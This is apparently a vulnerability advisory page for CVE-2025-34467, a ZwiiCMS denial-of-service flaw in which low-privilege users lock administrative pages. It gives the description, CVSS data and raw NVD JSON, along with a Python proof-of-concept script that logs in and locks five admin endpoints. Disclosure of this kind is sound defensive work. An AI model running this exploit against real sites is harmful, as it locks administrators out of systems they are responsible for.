Security Vulnerability Report
中文
CVE-2025-34467 CVSS 4.3 MEDIUM

CVE-2025-34467

Published: 2025-12-31 19:15:44
Last Modified: 2026-02-02 18:36:14

Description

ZwiiCMS versions prior to 13.7.00 contain a denial-of-service vulnerability in multiple administrative endpoints due to improper authorization checks combined with flawed resource state management. When an authenticated low-privilege user requests an administrative page, the application returns "404 Not Found" as expected, but incorrectly acquires and associates a temporary lock on the targeted resource with the attacker session prior to authorization. This lock prevents other users, including administrators, from accessing the affected functionality until the attacker navigates away or the session is terminated.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:zwiicms:zwiicms:*:*:*:*:*:*:*:* - VULNERABLE
ZwiiCMS < 13.7.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time from concurrent.futures import ThreadPoolExecutor # CVE-2025-34467 PoC - ZwiiCMS Authenticated DoS via Lock Persistence # Target: ZwiiCMS versions < 13.7.00 TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/core/user/login" ADMIN_PAGE = f"{TARGET_URL}/core/coreManager/access" session = requests.Session() def login(): """Authenticate as low-privilege user""" login_data = { 'credentialEmail': '[email protected]', 'credentialPassword': 'attacker_password' } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 def trigger_lock(endpoint): """Send request to trigger resource lock before auth check""" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded' } response = session.get(f"{TARGET_URL}{endpoint}", headers=headers) return { 'endpoint': endpoint, 'status': response.status_code, 'locked': '404' in str(response.status_code) } def main(): if not login(): print("[-] Login failed") return print("[+] Logged in as low-privilege user") # List of admin endpoints to lock admin_endpoints = [ '/core/userManager', '/core/coreManager', '/core/dataManager', '/core/themeManager', '/core/extensionManager' ] # Send concurrent requests to lock multiple admin functions with ThreadPoolExecutor(max_workers=5) as executor: results = list(executor.map(trigger_lock, admin_endpoints)) print("[+] Lock persistence attack completed") for result in results: print(f"[*] Endpoint: {result['endpoint']}, Status: {result['status']}") print("[*] Admin functions are now locked until session ends") print("[*] Other users (including admins) cannot access affected functionality") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34467", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:43.753", "lastModified": "2026-02-02T18:36:13.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZwiiCMS versions prior to 13.7.00 contain a denial-of-service vulnerability in multiple administrative endpoints due to improper authorization checks combined with flawed resource state management. When an authenticated low-privilege user requests an administrative page, the application returns \"404 Not Found\" as expected, but incorrectly acquires and associates a temporary lock on the targeted resource with the attacker session prior to authorization. This lock prevents other users, including administrators, from accessing the affected functionality until the attacker navigates away or the session is terminated."}, {"lang": "es", "value": "Las versiones de ZwiiCMS anteriores a la 13.7.00 contienen una vulnerabilidad de denegación de servicio en múltiples puntos finales administrativos debido a comprobaciones de autorización incorrectas combinadas con una gestión de estado de recursos defectuosa. Cuando un usuario autenticado con bajos privilegios solicita una página administrativa, la aplicación devuelve '404 Not Found' como se espera, pero adquiere y asocia incorrectamente un bloqueo temporal en el recurso objetivo con la sesión del atacante antes de la autorización. Este bloqueo impide que otros usuarios, incluidos los administradores, accedan a la funcionalidad afectada hasta que el atacante se aleje o la sesión se termine."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-667"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zwiicms:zwiicms:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.7.00", "matchCriteriaId": "89AF9A12-987E-484B-9750-1909FD1BD436"}]}]}], "references": [{"url": "https://codeberg.org/fredtempez/ZwiiCMS/releases/tag/13.7.00", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fredtempez/ZwiiCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/zwiicms-lock-persistence-authenticated-dos-against-administrative-pages", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}